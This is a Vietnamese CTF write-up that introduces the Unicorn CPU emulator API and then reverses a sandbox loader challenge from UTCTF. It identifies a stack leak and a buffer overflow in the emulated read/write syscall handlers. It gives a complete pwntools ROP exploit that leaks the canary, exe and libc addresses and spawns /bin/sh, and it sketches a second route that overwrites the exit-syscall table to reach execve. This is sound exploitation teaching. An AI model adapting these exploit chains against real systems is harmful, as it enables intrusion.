# Unicorn Libary in C program - trong quá trình training thì mình được thử sức với 1 chall có sandbox được viết bằng Unicorn libary - để làm được bài này đòi hỏi ta phải reverse được file sandbox cũng như hiểu được source, nếu chưa từng tiếp xúc với Unicorn thì điều này sẽ khó khắn và mất nhiều thời gian - nên mình quyết định sẽ research sơ qua về Unicorn libary trong báo cáo này để hỗ trợ việc giải chall ### note - dưới đây là những kiến thức mình research và tóm tắt lại nhằm hỗ trợ cho việc chơi PWN nên có thể sẽ không đầy đủ, các bạn có thể research thêm ở ref # Unicorn Engine ## Overview - Unicorn là 1 thư viện để mô phỏng CPU ở đa nền tảng và kiến trúc, nói nôm na là nó hỗ trợ mình tạo một máy ảo, cô lập chương trình với system, giúp mình thử nghiệm cũng như debug chương trình mà không ảnh hưởng tới system - các tính năng nổi bật: ```c - Multi-architectures: ARM, ARM64 (ARMv8), m68k, MIPS, PowerPC, RISC-V, S390x (SystemZ), SPARC, TriCore & x86 (include x86_64). - Clean/simple/lightweight/intuitive architecture-neutral API. - Implemented in pure C language, with bindings for Pharo, Crystal, Clojure, Visual Basic, Perl, Rust, Haskell, Ruby, Python, Java, Go, D, Lua, JavaScript, .NET, Delphi/Pascal & MSVC available. - Native support for Windows & *nix (with macOS, Linux, Android, *BSD & Solaris confirmed). - High performance by using Just-In-Time compiler technique. - Support fine-grained instrumentation at various levels. Thread-safe by design. - Distributed under free software license GPLv2. ``` ## Some popular functions in Unicorn.h library - **uc_open** : sử dụng để khởi tạo một đối tượng máy ảo hoặc môi trường ảo hóa ```c uc_open(uc_arch arch, uc_mode mode, uc_engine **result) ``` - **uc_hook_add** : sử dụng để thêm một hook vào máy ảo hoặc môi trường ảo hóa ```c uc_hook_add(uc_engine *uc, uc_hook *hh, int type, void *callback, void *user_data, uint64_t begin, uint64_t end, ...) ``` - **uc_mem_map** : cho phép cấp phát và quản lý vùng nhớ trong quá trình emulasi. ```c uc_mem_map(uc_engine *uc, uint64_t address, size_t size, uint32_t perms) ``` - **uc_emu_start** : khởi động quá trình emulasi hoặc máy ảo đang chạy ```c uc_emu_start(uc_engine* uc, uint64_t begin, uint64_t until, uint64_t timeout, size_t count) ``` - **uc_emu_stop** : dừng quá trình emulasi hoặc máy ảo đang chạy. ```c uc_emu_stop(uc_engine *uc) ``` - **uc_mem_read** : đọc dữ liệu từ vùng nhớ emulasi. ```c uc_mem_read(uc_engine *uc, uint64_t address, void *_bytes, size_t size) ``` - **uc_mem_write** : ghi dữ liệu vào vùng nhớ emulasi ```c uc_mem_write(uc_engine *uc, uint64_t address, void *_bytes, size_t size) ``` - **uc_reg_read** : đọc giá trị của thanh ghi trong quá trình emulasi. ```c uc_reg_read(uc_engine *uc, int regid, void *value) ``` - **uc_reg_write** : ghi giá trị vào thanh ghi trong quá trình emulasi ```c uc_reg_write(uc_engine *uc, int regid, void *value) ``` ## UC_HOOK list ```c // All type of hooks for uc_hook_add() API. typedef enum uc_hook_type { // Hook all interrupt/syscall events UC_HOOK_INTR = 1 << 0, // Hook a particular instruction - only a very small subset of instructions supported here UC_HOOK_INSN = 1 << 1, // Hook a range of code UC_HOOK_CODE = 1 << 2, // Hook basic blocks UC_HOOK_BLOCK = 1 << 3, // Hook for memory read on unmapped memory UC_HOOK_MEM_READ_UNMAPPED = 1 << 4, // Hook for invalid memory write events UC_HOOK_MEM_WRITE_UNMAPPED = 1 << 5, // Hook for invalid memory fetch for execution events UC_HOOK_MEM_FETCH_UNMAPPED = 1 << 6, // Hook for memory read on read-protected memory UC_HOOK_MEM_READ_PROT = 1 << 7, // Hook for memory write on write-protected memory UC_HOOK_MEM_WRITE_PROT = 1 << 8, // Hook for memory fetch on non-executable memory UC_HOOK_MEM_FETCH_PROT = 1 << 9, // Hook memory read events. UC_HOOK_MEM_READ = 1 << 10, // Hook memory write events. UC_HOOK_MEM_WRITE = 1 << 11, // Hook memory fetch for execution events UC_HOOK_MEM_FETCH = 1 << 12, // Hook memory read events, but only successful access. // The callback will be triggered after successful read. UC_HOOK_MEM_READ_AFTER = 1 << 13, } uc_hook_type; // Hook type for all events of unmapped memory access #define UC_HOOK_MEM_UNMAPPED (UC_HOOK_MEM_READ_UNMAPPED + UC_HOOK_MEM_WRITE_UNMAPPED + UC_HOOK_MEM_FETCH_UNMAPPED) // Hook type for all events of illegal protected memory access #define UC_HOOK_MEM_PROT (UC_HOOK_MEM_READ_PROT + UC_HOOK_MEM_WRITE_PROT + UC_HOOK_MEM_FETCH_PROT) // Hook type for all events of illegal read memory access #define UC_HOOK_MEM_READ_INVALID (UC_HOOK_MEM_READ_PROT + UC_HOOK_MEM_READ_UNMAPPED) // Hook type for all events of illegal write memory access #define UC_HOOK_MEM_WRITE_INVALID (UC_HOOK_MEM_WRITE_PROT + UC_HOOK_MEM_WRITE_UNMAPPED) // Hook type for all events of illegal fetch memory access #define UC_HOOK_MEM_FETCH_INVALID (UC_HOOK_MEM_FETCH_PROT + UC_HOOK_MEM_FETCH_UNMAPPED) // Hook type for all events of illegal memory access #define UC_HOOK_MEM_INVALID (UC_HOOK_MEM_UNMAPPED + UC_HOOK_MEM_PROT) // Hook type for all events of valid memory access // NOTE: UC_HOOK_MEM_READ is triggered before UC_HOOK_MEM_READ_PROT and UC_HOOK_MEM_READ_UNMAPPED, so // this hook may technically trigger on some invalid reads. #define UC_HOOK_MEM_VALID (UC_HOOK_MEM_READ + UC_HOOK_MEM_WRITE + UC_HOOK_MEM_FETCH) UC_ARCH // Architecture type typedef enum uc_arch { UC_ARCH_ARM = 1, // ARM architecture (including Thumb, Thumb-2) UC_ARCH_ARM64, // ARM-64, also called AArch64 UC_ARCH_MIPS, // Mips architecture UC_ARCH_X86, // X86 architecture (including x86 & x86-64) UC_ARCH_PPC, // PowerPC architecture (currently unsupported) UC_ARCH_SPARC, // Sparc architecture UC_ARCH_M68K, // M68K architecture UC_ARCH_MAX, } uc_arch; ``` ## uc_x86_reg ```c //> X86 registers typedef enum uc_x86_reg { UC_X86_REG_INVALID = 0, UC_X86_REG_AH, UC_X86_REG_AL, UC_X86_REG_AX, UC_X86_REG_BH, UC_X86_REG_BL, UC_X86_REG_BP, UC_X86_REG_BPL, UC_X86_REG_BX, UC_X86_REG_CH, UC_X86_REG_CL, UC_X86_REG_CS, UC_X86_REG_CX, UC_X86_REG_DH, UC_X86_REG_DI, UC_X86_REG_DIL, UC_X86_REG_DL, UC_X86_REG_DS, UC_X86_REG_DX, UC_X86_REG_EAX, UC_X86_REG_EBP, UC_X86_REG_EBX, UC_X86_REG_ECX, UC_X86_REG_EDI, UC_X86_REG_EDX, UC_X86_REG_EFLAGS, UC_X86_REG_EIP, UC_X86_REG_EIZ, UC_X86_REG_ES, UC_X86_REG_ESI, UC_X86_REG_ESP, UC_X86_REG_FPSW, UC_X86_REG_FS, UC_X86_REG_GS, UC_X86_REG_IP, UC_X86_REG_RAX, UC_X86_REG_RBP, UC_X86_REG_RBX, UC_X86_REG_RCX, UC_X86_REG_RDI, UC_X86_REG_RDX, UC_X86_REG_RIP, UC_X86_REG_RIZ, UC_X86_REG_RSI, UC_X86_REG_RSP, UC_X86_REG_SI, UC_X86_REG_SIL, UC_X86_REG_SP, UC_X86_REG_SPL, UC_X86_REG_SS, UC_X86_REG_CR0, UC_X86_REG_CR1, UC_X86_REG_CR2, UC_X86_REG_CR3, UC_X86_REG_CR4, UC_X86_REG_CR5, UC_X86_REG_CR6, UC_X86_REG_CR7, UC_X86_REG_CR8, UC_X86_REG_CR9, UC_X86_REG_CR10, UC_X86_REG_CR11, UC_X86_REG_CR12, UC_X86_REG_CR13, UC_X86_REG_CR14, UC_X86_REG_CR15, UC_X86_REG_DR0, UC_X86_REG_DR1, UC_X86_REG_DR2, UC_X86_REG_DR3, UC_X86_REG_DR4, UC_X86_REG_DR5, UC_X86_REG_DR6, UC_X86_REG_DR7, UC_X86_REG_DR8, UC_X86_REG_DR9, UC_X86_REG_DR10, UC_X86_REG_DR11, UC_X86_REG_DR12, UC_X86_REG_DR13, UC_X86_REG_DR14, UC_X86_REG_DR15, UC_X86_REG_FP0, UC_X86_REG_FP1, UC_X86_REG_FP2, UC_X86_REG_FP3, UC_X86_REG_FP4, UC_X86_REG_FP5, UC_X86_REG_FP6, UC_X86_REG_FP7, UC_X86_REG_K0, UC_X86_REG_K1, UC_X86_REG_K2, UC_X86_REG_K3, UC_X86_REG_K4, UC_X86_REG_K5, UC_X86_REG_K6, UC_X86_REG_K7, UC_X86_REG_MM0, UC_X86_REG_MM1, UC_X86_REG_MM2, UC_X86_REG_MM3, UC_X86_REG_MM4, UC_X86_REG_MM5, UC_X86_REG_MM6, UC_X86_REG_MM7, UC_X86_REG_R8, UC_X86_REG_R9, UC_X86_REG_R10, UC_X86_REG_R11, UC_X86_REG_R12, UC_X86_REG_R13, UC_X86_REG_R14, UC_X86_REG_R15, UC_X86_REG_ST0, UC_X86_REG_ST1, UC_X86_REG_ST2, UC_X86_REG_ST3, UC_X86_REG_ST4, UC_X86_REG_ST5, UC_X86_REG_ST6, UC_X86_REG_ST7, UC_X86_REG_XMM0, UC_X86_REG_XMM1, UC_X86_REG_XMM2, UC_X86_REG_XMM3, UC_X86_REG_XMM4, UC_X86_REG_XMM5, UC_X86_REG_XMM6, UC_X86_REG_XMM7, UC_X86_REG_XMM8, UC_X86_REG_XMM9, UC_X86_REG_XMM10, UC_X86_REG_XMM11, UC_X86_REG_XMM12, UC_X86_REG_XMM13, UC_X86_REG_XMM14, UC_X86_REG_XMM15, UC_X86_REG_XMM16, UC_X86_REG_XMM17, UC_X86_REG_XMM18, UC_X86_REG_XMM19, UC_X86_REG_XMM20, UC_X86_REG_XMM21, UC_X86_REG_XMM22, UC_X86_REG_XMM23, UC_X86_REG_XMM24, UC_X86_REG_XMM25, UC_X86_REG_XMM26, UC_X86_REG_XMM27, UC_X86_REG_XMM28, UC_X86_REG_XMM29, UC_X86_REG_XMM30, UC_X86_REG_XMM31, UC_X86_REG_YMM0, UC_X86_REG_YMM1, UC_X86_REG_YMM2, UC_X86_REG_YMM3, UC_X86_REG_YMM4, UC_X86_REG_YMM5, UC_X86_REG_YMM6, UC_X86_REG_YMM7, UC_X86_REG_YMM8, UC_X86_REG_YMM9, UC_X86_REG_YMM10, UC_X86_REG_YMM11, UC_X86_REG_YMM12, UC_X86_REG_YMM13, UC_X86_REG_YMM14, UC_X86_REG_YMM15, UC_X86_REG_YMM16, UC_X86_REG_YMM17, UC_X86_REG_YMM18, UC_X86_REG_YMM19, UC_X86_REG_YMM20, UC_X86_REG_YMM21, UC_X86_REG_YMM22, UC_X86_REG_YMM23, UC_X86_REG_YMM24, UC_X86_REG_YMM25, UC_X86_REG_YMM26, UC_X86_REG_YMM27, UC_X86_REG_YMM28, UC_X86_REG_YMM29, UC_X86_REG_YMM30, UC_X86_REG_YMM31, UC_X86_REG_ZMM0, UC_X86_REG_ZMM1, UC_X86_REG_ZMM2, UC_X86_REG_ZMM3, UC_X86_REG_ZMM4, UC_X86_REG_ZMM5, UC_X86_REG_ZMM6, UC_X86_REG_ZMM7, UC_X86_REG_ZMM8, UC_X86_REG_ZMM9, UC_X86_REG_ZMM10, UC_X86_REG_ZMM11, UC_X86_REG_ZMM12, UC_X86_REG_ZMM13, UC_X86_REG_ZMM14, UC_X86_REG_ZMM15, UC_X86_REG_ZMM16, UC_X86_REG_ZMM17, UC_X86_REG_ZMM18, UC_X86_REG_ZMM19, UC_X86_REG_ZMM20, UC_X86_REG_ZMM21, UC_X86_REG_ZMM22, UC_X86_REG_ZMM23, UC_X86_REG_ZMM24, UC_X86_REG_ZMM25, UC_X86_REG_ZMM26, UC_X86_REG_ZMM27, UC_X86_REG_ZMM28, UC_X86_REG_ZMM29, UC_X86_REG_ZMM30, UC_X86_REG_ZMM31, UC_X86_REG_R8B, UC_X86_REG_R9B, UC_X86_REG_R10B, UC_X86_REG_R11B, UC_X86_REG_R12B, UC_X86_REG_R13B, UC_X86_REG_R14B, UC_X86_REG_R15B, UC_X86_REG_R8D, UC_X86_REG_R9D, UC_X86_REG_R10D, UC_X86_REG_R11D, UC_X86_REG_R12D, UC_X86_REG_R13D, UC_X86_REG_R14D, UC_X86_REG_R15D, UC_X86_REG_R8W, UC_X86_REG_R9W, UC_X86_REG_R10W, UC_X86_REG_R11W, UC_X86_REG_R12W, UC_X86_REG_R13W, UC_X86_REG_R14W, UC_X86_REG_R15W, UC_X86_REG_IDTR, UC_X86_REG_GDTR, UC_X86_REG_LDTR, UC_X86_REG_TR, UC_X86_REG_FPCW, UC_X86_REG_FPTAG, UC_X86_REG_MSR, // Model-Specific Register UC_X86_REG_ENDING // <-- mark the end of the list of registers } uc_x86_reg; ``` ## Example https://www.unicorn-engine.org/docs/tutorial.html ## Reference - https://www.unicorn-engine.org/ - https://github.com/unicorn-engine/unicorn/tree/dev/samples - https://hackmd.io/@K-atc/rJTUtGwuW?type=view # Sandbox Chall - chall cho 1 file binary (hello) và 1 file sandbox (loader) ## Hello ```c int __cdecl main(int argc, const char **argv, const char **envp) { int v3; // edx int v4; // ecx int v5; // r8d int v6; // r9d char v8[256]; // [rsp+10h] [rbp-100h] BYREF puts("Welcome to the UTCTF secure sandbox environment. Please enter your name: ", argv, envp); gets(v8); printf((unsigned int)"hello, %s\n", (unsigned int)v8, v3, v4, v5, v6, (char)argv); return 0; } ``` - đơn giản là BOF ## Loader - main ```c int __cdecl main(int argc, const char **argv, const char **envp) { int v3; // ebx size_t v4; // rax size_t v5; // rax _QWORD *v6; // rax int i; // [rsp+1Ch] [rbp-E4h] unsigned int v9; // [rsp+20h] [rbp-E0h] __int64 v10; // [rsp+28h] [rbp-D8h] BYREF __int64 v11; // [rsp+30h] [rbp-D0h] BYREF __int64 v12; // [rsp+38h] [rbp-C8h] BYREF char v13; // [rsp+40h] [rbp-C0h] BYREF __int64 v14; // [rsp+48h] [rbp-B8h] BYREF const char *v15; // [rsp+50h] [rbp-B0h] unsigned __int64 v16; // [rsp+58h] [rbp-A8h] char v17[32]; // [rsp+60h] [rbp-A0h] BYREF char v18[48]; // [rsp+80h] [rbp-80h] BYREF char v19[56]; // [rsp+B0h] [rbp-50h] BYREF unsigned __int64 v20; // [rsp+E8h] [rbp-18h] v20 = __readfsqword(0x28u); if ( argc <= 1 ) usage((char **)argv); v15 = argv[1]; std::map<std::string,section>::map(v18, argv, envp); std::map<int,segment>::map(v19); v9 = parse_elf(v15, &v10, (__int64)v18, (__int64)v19); if ( v9 ) { if ( v9 == 1 ) perror("file not exists."); if ( v9 == 2 ) fwrite("this is not elf.", 1uLL, 0x10uLL, stdout); } if ( (unsigned int)uc_open(4LL, 8LL, &v11) ) { printf("Failed on uc_open() with error returned: %u\n", v9); v3 = -1; } else { loader(v15, v11, &v10, v19, v18); v12 = 8387584LL; uc_reg_write(v11, 44LL, &v12); v16 = argc - 1; std::vector<unsigned long>::vector(v17); if ( argc > 2 ) { v4 = strlen(argv[2]); v14 = push_argv(v11, argv[2], v4); std::vector<unsigned long>::push_back(v17, &v14); } v5 = strlen(argv[1]); v14 = push_argv(v11, argv[1], v5); std::vector<unsigned long>::push_back(v17, &v14); if ( v16 == 1 ) push_stack(v11, 0LL); for ( i = 0; v16 > i; ++i ) { v6 = (_QWORD *)std::vector<unsigned long>::operator[](v17, i); push_stack(v11, *v6); } push_stack(v11, v16); uc_reg_read(v11, 44LL, &v12); uc_reg_write(v11, 36LL, &v12); uc_hook_add(v11, (unsigned int)&v13, 48, (unsigned int)hook_mem_invalid, 0, 1, 0LL); uc_hook_add(v11, (unsigned int)&v14, 2, (unsigned int)hook_syscall, 0, 1, 0LL); uc_emu_start(v11, v10, -1LL, 0LL, 0LL); uc_close(v11); v3 = 0; std::vector<unsigned long>::~vector(v17); } std::map<int,segment>::~map(v19); std::map<std::string,section>::~map(v18); return v3; } ``` - hàm main đơn giản là setup máy ảo, có 2 hàm **uc_hook_add** để set hook trả về cho **UC_HOOK_INSN** (2) là hook_syscall, **UC_HOOK_MEM_READ_INVALID** (48) là hook_mem_invalid ```c __int64 __fastcall hook_mem_invalid(__int64 a1, int a2, __int64 a3, unsigned int a4, __int64 a5) { if ( a2 == 19 ) { printf(">>> Missing memory is being READ at 0x%lx, data size = %u, data value = 0x%lx\n", a3, a4, a5); return 1LL; } else if ( a2 == 20 ) { printf(">>> Missing memory is being WRITE at 0x%lx, data size = %u, data value = 0x%lx\n", a3, a4, a5); return 1LL; } else { return 0LL; } } ``` - kiểm tra **hook_nem_invalid** thì ko thấy BUG gì hết, ta qua xem thằng **hook_syscall** - theo như mình tìm hiểu thì chương trình có có thể tương tác với sandbox thông qua syscall, nên chắc chắn BUG phải nằm trong các syscall của sandbox - type **UC_HOOK_INSN** (2) để theo dõi và xử lý các thao tác liên quan đến một lệnh (instruction) cụ thể trong quá trình thực thi. Nó sẽ tương tác trực tiếp với syscall, vì vậy khi 1 syscall được thực thi hàm **hook_syscall** sẽ được gọi ```c unsigned __int64 __fastcall hook_syscall(__int64 a1, __int64 a2) { size_t v2; // rax void *v3; // rsp size_t v4; // rax void *v5; // rsp __int64 v7[5]; // [rsp+8h] [rbp-170h] BYREF __int64 v8; // [rsp+30h] [rbp-148h] char v9; // [rsp+3Fh] [rbp-139h] int j; // [rsp+40h] [rbp-138h] int i; // [rsp+44h] [rbp-134h] __int64 sysno; // [rsp+48h] [rbp-130h] BYREF int fd[2]; // [rsp+50h] [rbp-128h] BYREF __int64 v14; // [rsp+58h] [rbp-120h] BYREF size_t nbytes; // [rsp+60h] [rbp-118h] BYREF ssize_t v16; // [rsp+68h] [rbp-110h] BYREF int v17[2]; // [rsp+70h] [rbp-108h] int count[2]; // [rsp+78h] [rbp-100h] size_t v19; // [rsp+80h] [rbp-F8h] struct iovec *iovec; // [rsp+88h] [rbp-F0h] unsigned __int64 iov_len; // [rsp+90h] [rbp-E8h] void *v22; // [rsp+98h] [rbp-E0h] size_t v23; // [rsp+A0h] [rbp-D8h] void *buf; // [rsp+A8h] [rbp-D0h] __int64 v25; // [rsp+B0h] [rbp-C8h] char s[136]; // [rsp+B8h] [rbp-C0h] BYREF unsigned __int64 v27; // [rsp+140h] [rbp-38h] v8 = a1; v7[4] = a2; v27 = __readfsqword(0x28u); ++syscall_cnt; memset(s, 0, 0x80uLL); uc_reg_read(a1, 35LL, &sysno); // rax uc_reg_read(a1, 39LL, fd); // rdi uc_reg_read(a1, 43LL, &v14); // rsi uc_reg_read(a1, 40LL, &nbytes); // rdx if ( sysno == 0x400 ) { v25 = *(_QWORD *)fd - 0x7F0000LL; *(_DWORD *)((char *)&stack + *(_QWORD *)fd - 0x7F0000) = syscall_cnt; } else if ( sysno ) { switch ( sysno ) { case 1LL: uc_mem_read(v8, v14, s, nbytes); printf("\x1B[33m>>> syscall write\x1B[0m(fd=%d, *buf='%s', count=%d)\n", *(_QWORD *)fd, s, nbytes); uc_reg_write(v8, 35, (__int64)&nbytes); // rax break; case 20LL: *(_QWORD *)v17 = *(_QWORD *)fd; *(_QWORD *)count = nbytes; v19 = nbytes - 1; v4 = 16 * ((16 * nbytes + 15) / 0x10); while ( v7 != (__int64 *)((char *)v7 - (v4 & 0xFFFFFFFFFFFFF000LL)) ) ; v5 = alloca(v4 & 0xFFF); if ( (v4 & 0xFFF) != 0 ) *(__int64 *)((char *)&v7[-1] + (v4 & 0xFFF)) = *(__int64 *)((char *)&v7[-1] + (v4 & 0xFFF)); iovec = (struct iovec *)v7; uc_mem_read(v8, v14, v7, 16LL * *(_QWORD *)count); for ( i = 0; *(_QWORD *)count > (unsigned __int64)i; ++i ) { iov_len = iovec[i].iov_len; v22 = (void *)operator new[](iov_len); uc_mem_read(v8, iovec[i].iov_base, v22, iov_len); iovec[i].iov_base = v22; } v16 = writev(v17[0], iovec, count[0]); uc_reg_write(v8, 35, (__int64)&v16); break; case 158LL: case 218LL: case 16LL: v16 = 0LL; uc_reg_write(v8, 35, (__int64)&v16); break; default: v9 = 0; for ( j = 0; (unsigned __int64)j <= 1; ++j ) { if ( exit_syscalls[j] == sysno ) syscall(sysno, *(_QWORD *)fd, v14, nbytes); } printf(">>> enumation stoped because of invalid syscall %d\n", sysno); uc_emu_stop(v8); break; } } else { v23 = nbytes - 1; v7[2] = nbytes; v7[3] = 0LL; v7[0] = nbytes; v7[1] = 0LL; v2 = 16 * ((nbytes + 15) / 0x10); while ( v7 != (__int64 *)((char *)v7 - (v2 & 0xFFFFFFFFFFFFF000LL)) ) ; v3 = alloca(v2 & 0xFFF); if ( (v2 & 0xFFF) != 0 ) *(__int64 *)((char *)&v7[-1] + (v2 & 0xFFF)) = *(__int64 *)((char *)&v7[-1] + (v2 & 0xFFF)); buf = v7; v16 = read(fd[0], v7, nbytes); uc_reg_write(v8, 35, (__int64)&v16); // rax uc_mem_write(v8, v14, buf, nbytes); } return __readfsqword(0x28u) ^ v27; } ``` - **hook_syscall** cho phép ta dùng 4 syscall, trong đó có 2 syscall quan trọng là read và write nên ta sẽ focus vào nó - có 1 bug mình tìm được trong syscall read ```c v16 = read(fd[0], v7, nbytes); uc_reg_write(v8, 35, (__int64)&v16); // rax uc_mem_write(v8, v14, buf, nbytes); ``` - ở syscall read , cho phép ta nhập vào nbytes (rdx), sau đó cho rax = số byte đã nhập, nhưng BUG nhằm ở hàm **uc_mem_write**, khi ghi nbytes từ buf vào v14(rsi), mà buf nằm trong stack nên điều này vô tình lấy luôn các addr quan trọng như libc , stack ,exe, canary... vào v14 - ở syscall write cho ta in ra data của v14 với nbyte(rdx) tùy ý , lợi dụng điều này ta dễ dàng leak addr ```c case 1LL: uc_mem_read(v8, v14, s, nbytes); printf("\x1B[33m>>> syscall write\x1B[0m(fd=%d, *buf='%s', count=%d)\n", *(_QWORD *)fd, s, nbytes); uc_reg_write(v8, 35, (__int64)&nbytes); // rax ``` - nhưng nếu tinh mắt thì ta để ý ở syscall write sẽ còn có thêm 1 bug nữa ở hàm **uc_mem_read**, khi ghi data từ v14 (rsi) vào s (stack) với nbytes (rdx), mà rdx thì ta có thể control được nên ở đây có BUG là Buffer Overflow - tận dụng BOF ta có thể get_shell bằng system('/bin/sh\0') ![image](https://hackmd.io/_uploads/Sy_RUsw2a.png) ## script ```python #!/usr/bin/env python3 from pwn import * import psutil exe = ELF("./loader") context.binary = exe p = process(['./loader', './hello']) libc = ELF('/usr/lib/x86_64-linux-gnu/libc.so.6') def pidof(name): pid = 0 for proc in psutil.process_iter(): if name == proc.name(): pid = proc.pid break return pid def GDB(): gdb.attach(p, gdbscript=''' b*hook_syscall+683 b*hook_syscall+642 b*hook_syscall+515 c''') input() # GDB() pop_rax = 0x0000000000401001 pop_rdi = 0x00000000040013af pop_rsi_r15 = 0x00000000040013ad pop_rdx = 0x00000000040023b3 rw_section = 0x4004000 syscall = 0x00000000040024ab payload = b'a' * 0x108 payload += p64(pop_rax) + p64(0) + p64(pop_rdi) + p64(0) + p64(pop_rsi_r15) + p64(rw_section) + p64(0) + p64(pop_rdx) + p64(0x600) + p64(syscall) payload += p64(pop_rax) + p64(1) + p64(pop_rdi) + p64(1) + p64(pop_rsi_r15) + p64(rw_section + 0x79) + p64(0) + p64(pop_rdx) + p64(0x8) + p64(syscall) payload += p64(pop_rax) + p64(1) + p64(pop_rdi) + p64(1) + p64(pop_rsi_r15) + p64(rw_section + 0x88) + p64(0) + p64(pop_rdx) + p64(0x8) + p64(syscall) payload += p64(pop_rax) + p64(1) + p64(pop_rdi) + p64(1) + p64(pop_rsi_r15) + p64(rw_section + 0x2f8) + p64(0) + p64(pop_rdx) + p64(0x8) + p64(syscall) payload += p64(pop_rax) + p64(0) + p64(pop_rdi) + p64(0) + p64(pop_rsi_r15) + p64(rw_section + 0x1000) + p64(0) + p64(pop_rdx) + p64(0x600) + p64(syscall) payload += p64(pop_rax) + p64(1) + p64(pop_rdi) + p64(1) + p64(pop_rsi_r15) + p64(rw_section + 0x1000) + p64(0) + p64(pop_rdx) + p64(0x600) + p64(syscall) p.sendline(payload) p.send(b'gookoo') p.recvuntil(b"buf='") canary = u64(b'\0' + p.recv(7)) print(hex(canary)) p.recvuntil(b"buf='") exe.address = u64(p.recv(6) + b'\0\0') - 0xa57504 print(hex(exe.address)) p.recvuntil(b"buf='") libc.address = u64(p.recv(6) + b'\0\0') - 0xa5262 print(hex(libc.address)) payload = b'a' * 0x88 payload += p64(canary) payload = payload.ljust(0xc8, b'a') pop_rdi = ROP(libc).find_gadget(["pop rdi","ret"])[0] rop = [pop_rdi+1,pop_rdi,next(libc.search(b"/bin/sh\0")),libc.sym.system] rop = b"".join([p64(i) for i in rop]) payload += rop p.send(payload) p.interactive() ``` ## another solution - còn có thêm 2 BUG khác khá hay ho mà anh Chino Kafuu tìm được đó là ở exit_syscalls và khi rax = 0x400 ```c default: v9 = 0; for ( j = 0; (unsigned __int64)j <= 1; ++j ) { if ( exit_syscalls[j] == sysno ) syscall(sysno, *(_QWORD *)fd, v14, nbytes); } printf(">>> enumation stoped because of invalid syscall %d\n", sysno); uc_emu_stop(v8); break; ``` - khi thực thi các syscall khác ngoài 4 syscall cho phép, nó sẽ thực thi syscall exit với rax là 0x3c và 0xe7 ![image](https://hackmd.io/_uploads/r1UhqNOhT.png) - fd(rdi), v14(rsi), nbytes(rdx) thì ta có thể control, nhưng sysno(rax) sẽ bị check bởi if() - nếu ta muốn thực thi syscall execve thì bắt buộc phải overwrite thằng exit_syscall = 0x3b ```c if ( sysno == 0x400 ) { v25 = *(_QWORD *)fd - 8323072LL; *(_DWORD *)((char *)&stack + *(_QWORD *)fd - 8323072) = syscall_cnt; } ``` - khi rax = 0x400, nó sẽ cập nhật thằng *(_DWORD *)((char *)&stack + *(_QWORD *)fd - 8323072) = syscall_cnt, syscall_cnt là số syscall mình đã thực thi - thằng *(_DWORD *)((char *)&stack - 8323072) như mình debug thì nó là địa chỉ binary, fd thì mình có thể control được do nó là rdi, vậy nếu fd = offset đến exit_syscal thì exit_syscall = syscall_cnt, lúc này ta có thể cho exit_syscall = 0x3b và get_shell - 1 cách solution hay nhưng để tìm dc bug này hơi khoai :))